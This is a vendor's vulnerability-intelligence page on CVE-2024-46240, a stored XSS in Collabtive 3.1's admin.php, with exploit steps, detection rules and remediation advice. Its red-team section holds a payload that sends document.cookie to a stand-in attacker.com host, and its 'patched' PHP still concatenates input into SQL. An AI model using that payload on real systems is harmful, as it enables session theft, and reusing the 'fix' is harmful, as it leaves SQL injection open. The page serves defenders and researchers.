☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-46240

CVE-2024-46240 Cross-Site Scripting in Collabtive
📅 PUBLISHED: 2024-10-22 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 3.1
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46240 identifies a stored Cross-Site Scripting (XSS) vulnerability in Collabtive 3.1, an open-source project management tool. The flaw resides in the admin.php file, specifically within the name parameter under action=system and the company/contact parameters under action=addcust. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML into these fields, which is then stored and executed in the browsers of other users viewing the affected pages. This can lead to session hijacking, data theft, or further compromise of the application.

Key Risk: Stored XSS allows persistent payload execution, affecting all users who access the compromised administrative interface. Since the vulnerability is unpatched, all instances of Collabtive 3.1 are at risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Collabtive is a self-hosted PHP application, not distributed via NPM, PyPI, Go, or Ruby. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): High (H) – Requires admin authentication.
  • User Interaction (UI): None (N) – No user action needed for stored XSS.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Potential for data exfiltration.
  • Integrity (I): Low (L) – Script injection can modify content.
  • Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N Estimated Base Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires admin credentials, but the stored nature of the XSS can affect all users, including lower-privileged ones.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the admin.php file. The application fails to sanitize user-supplied input before storing it in the database and later rendering it in the browser.

Affected Parameters:

  • name parameter when action=system (system settings)
  • company and contact parameters when action=addcust (adding a customer)

Attack Flow:

  1. An authenticated admin navigates to admin.php?action=system or admin.php?action=addcust.
  2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into the vulnerable parameter.
  3. The payload is stored in the database without sanitization.
  4. When any user (including other admins or lower-privileged users) views the affected page (e.g., system settings or customer list), the payload executes in their browser context.

Root Cause: Lack of input validation and output encoding. The application does not use functions like htmlspecialchars() or strip_tags() before storing or displaying user input.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a hypothetical secure version.

Vulnerable Code (admin.php):

// Vulnerable: Directly stores user input
$name = $_POST['name'];
$sql = "INSERT INTO system_settings (name) VALUES ('$name')";
mysqli_query($conn, $sql);

// Vulnerable: Directly outputs stored data
echo "<input type='text' name='name' value='$name'>";

Patched Code (Hypothetical):

// Patched: Sanitize input
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO system_settings (name) VALUES ('$name')";
mysqli_query($conn, $sql);

// Patched: Encode output
echo "<input type='text' name='name' value='" . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "'>";

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Admin credentials to Collabtive 3.1
  • Network access to the web interface

Exploit Steps:

  1. Log in as an admin.
  2. Navigate to admin.php?action=system.
  3. Inject a payload into the name parameter:
    name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the form.
  5. Any user viewing the system settings page will trigger the payload, sending their cookies to the attacker.

Alternative Payload (Customer Add):

company=<img src=x onerror=alert(1)>&contact=test

Blue Team (Defense & Detection)

Detection:

  • Monitor HTTP requests to admin.php with suspicious parameters (e.g., <script>, onerror, javascript:).
  • Look for anomalous outbound connections from the Collabtive server to unknown domains.

Prevention:

  • Implement a Web Application Firewall (WAF) rule to block XSS patterns in admin.php parameters.
  • Apply input validation and output encoding as shown in the patched code section.
  • Restrict admin access to trusted IPs only.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /admin.php with parameters containing <script>, onerror, onload, or javascript:.
    • Outbound connections to known malicious domains or IPs from the Collabtive server.
  • File IOCs:
    • Modified entries in the database system_settings or customers tables containing JavaScript code.
  • Log IOCs:
    • Web server logs showing repeated attempts to inject XSS payloads into admin.php.

Detection Engineering

YARA Rule

rule Collabtive_XSS_Admin_PHP {
    meta:
        description = "Detects XSS payloads in Collabtive admin.php parameters"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46240"
    strings:
        $xss_pattern1 = /<script[^>]*>.*<\/script>/i
        $xss_pattern2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_pattern3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss_pattern4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Collabtive Admin XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in Collabtive admin.php parameters
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin.php*'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Collabtive Admin XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"admin.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Admin Access: Restrict access to admin.php to trusted IPs only via firewall or .htaccess.
  2. Manual Code Fix: Apply input sanitization and output encoding as shown in the patched code section.
  3. Database Cleanup: Scan the database for existing XSS payloads and remove them.

Long-Term Solutions:

  • Upgrade to a patched version if/when released.
  • Implement a Content Security Policy (CSP) to mitigate XSS impact.
  • Conduct regular security audits and penetration testing.

Workaround:

  • Use a WAF to block XSS patterns in admin.php parameters.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Collabtive"
http.html:"collabtive"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-46240/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.